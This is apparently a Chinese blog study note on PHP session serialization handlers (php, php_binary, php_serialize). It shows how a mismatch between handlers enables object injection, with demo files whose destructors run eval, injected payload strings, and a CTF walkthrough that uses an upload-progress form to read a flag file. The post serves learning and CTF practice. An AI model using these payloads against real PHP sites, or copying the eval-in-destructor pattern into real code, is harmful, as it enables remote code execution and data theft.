0%

PHP Session 的序列化和反序列化

应用场景

  1. 一般来说服务器是很少关机重启的,但是有的时候必须需要重启,而用户会话还在进行相应的操作,这时就需要使用序列化 来把这个 session 信息保存起来放在硬盘里,服务器重启后又重新加载。这样保证了用户信息不会丢失,实现永久化保存。
  2. 淘宝每年都会有定时抢购的活动,很多用户会提前登录等待,长时间不进行操作,一致保存在内存中,而到达指定时刻,几十万用户并发访问,就可能会有几十万个session,内存可能吃不消,这时就需要进行对象的活化、钝化,让其在闲置的时候离开内存,将信息保存至硬盘,等要用的时候,就重新加载进内存
    【参考链接】

PHP 反序列化与 Session

PHP session 序列化机制

 当session_start()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp)。

session 序列化及反序列化处理器

  PHP 内置了一些处理器用于对 session 数据进行序列化及反序列化,常见的有以下三种:

  • php 对应的存储格式为 键名 + | + 经过 serialize 序列化处理的值
  • php_binary 对应的存储格式为 键名长度对应的ASCII字符+ 键名 + 经过serialize 序列化的值
  • php_serialize (php>=5.5) 对应的存储格式为 经过 serialize 序列化的值

    与 session 相关的配置项

     session 配置项有很多可选的,这里我只学习我们利用需要用到的。
  1. session.auto_start 表示是否自动启用 session 相关机制( 如果改它需要重启服务器 ),如果自动启动可以不用 session_start() 来调用。(可以不用尝试在代码里改它了)
  2. session.save_path 表明了,这个序列化文件存放在哪。
  3. session.serialize_handler 定义用什么序列化/反序列化处理器

    几种 处理器 的区别

    php处理器
    使用 代码如下
    1
    2
    3
    4
    5
    6
    7
    <?php
    ini_set("session.serialize_handler","php");
    session_start();
    $_SESSION["a"]=array("1"=>"a","2"=>"b");
    $_SESSION["b"]="start";
    echo "success,serialize_handler is php!";
    ?>
    得到的结果是
    1
    2
    a|a:2:{i:1;s:1:"a";i:2;s:1:"b";}b|s:5:"start"; 
    可以看出是 键名+| + 序列化后的值
php_binary 处理器

使用代码如下:

1
2
3
4
5
6
7
<?php
ini_set("session.serialize_handler","php_binary");
session_start();
$_SESSION["a"]=array("1"=>"1a","2"=>"2b");
$_SESSION["b"]="start";
echo "success,serialize_handler is php_binary !";
?>

得到的结果是

1
2
?aa:2:{i:1;s:2:"1a";i:2;s:2:"2b";}?bs:5:"start";  
键的位数的ASCII编码 + 键名 + 值的序列化

php_serialize 处理器

代码如下:

1
2
3
4
5
6
7
<?php
ini_set("session.serialize_handler","php_serialize");
session_start();
$_SESSION["a"]=array("1"=>"1a","2"=>"2b");
$_SESSION["b"]="start";
echo "success,serialize_handler is php_serialize !";
?>

结果存储的值为:

1
2
a:2:{s:1:"a";a:2:{i:1;s:2:"1a";i:2;s:2:"2b";}s:1:"b";s:5:"start";} 
将整个数组序列化后的值

PHP Session 中序列化的危害

 PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。
如果在PHP在序列化存储的$_SESSION数据时使用的处理器和反序列化使用的处理器不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。

举个简单的例子

test_1.php 内容为下:

1
2
3
4
5
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["mayi"]=$_GET["a"];
?>

test_2.php 内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
ini_set("session.serialize_handler","php");
session_start();
class lemon {
var $hi;
function __construct(){
$this->hi='phpinfo();';
}

function __destruct(){
eval($this->hi);
}
}
//new lemon(); 值得注意的是,通过session 反序列化的对象会在它后面摧毁,也就是说出现在它后面

?>

我们先在test_1.php 中传入?a=|O:5:"lemon":1:{s:2:"hi";s:15:"echo "success";";} 那么,session文件里的内容为:

1
a:1:{s:4:"mayi";s:49:"|O:5:"lemon":1:{s:2:"hi";s:15:"echo "success";";}";}

然后我们在访问 test_2.php 可以猜想到因为处理器的不同,对session的理解也会不同,php处理器 把 | 前面的理解为键名。也就是说a:1:{s:4:"mayi";s:49:"成为了键名(以前的键名是a),然后剩余部分经过反序列化后变成键值,也就是O:5:"lemon":1:{s:2:"hi";s:15:"echo "success";";}";} 值的注意的是后面的";} 会被忽略掉。那么这样我们就可以达到任意命令执行的效果啦!

  1. 访问,test_1.php?a=|O:5:"lemon":1:{s:2:"hi";s:15:"echo "success";";}
  2. 访问 /test_2.php

再来看看一道 ctf 的题目

题目链接:http://web.jarvisoj.com:32784/
题目给了我们源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

//看到设置了 session.serialize_handler 为 php 极大的可能是 Session 反序列利用
  1. 查看 phpinfo信息,发现全局用的php_serialize进行序列化,而这个页面是以php来进行解析的。那么理论上讲是可以准备$this->mdzz = ‘payload’;来进行攻击。
  2. 但是我们怎么将 payload 写入session全局变量呢?这里有一个技巧,php文件上传时会将文件名写入session。需要满足以下条件:【参考链接】
  • session.upload_progress.enabled = On
  • 上传一个字段的属性名和session.upload_progress.name的值相等,这里根据上面的phpinfo信息看得出。
  1. 写脚本传session值给 目标网站,需要注意的是注意这里 “PHP_SESSION_UPLOAD_PROGRESS” 的 value不能为空 也就是这个项的值不能为空,脚本:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    <html>
    <head>
    <title>upload</title>
    </head>
    <body>
    <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
    <input type="file" name="file" />
    <input type="submit" />
    </form>
    </body>

    </html>
    //记得是以POST方法传过去
    //其中hidden 是隐藏的文本输入框,用文本框(text)也可以

    结果如下

  2. 最后将文件名改为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:89:\"var_dump(file_get_contents('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));\";}得到flag

有一个疑惑: 为什么不可以把 name=”PHP_SESSION_UPLOAD_PROGRESS”; 这个项直接写在 file 那里面?

参考链接:
https://www.mi1k7ea.com/2019/04/21/PHP-session%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#0x04-%E5%8F%82%E8%80%83
https://blog.spoock.com/2016/10/16/php-serialize-problem/
https://www.cnblogs.com/sijidou/p/10455646.html


-------------本文结束感谢您的阅读-------------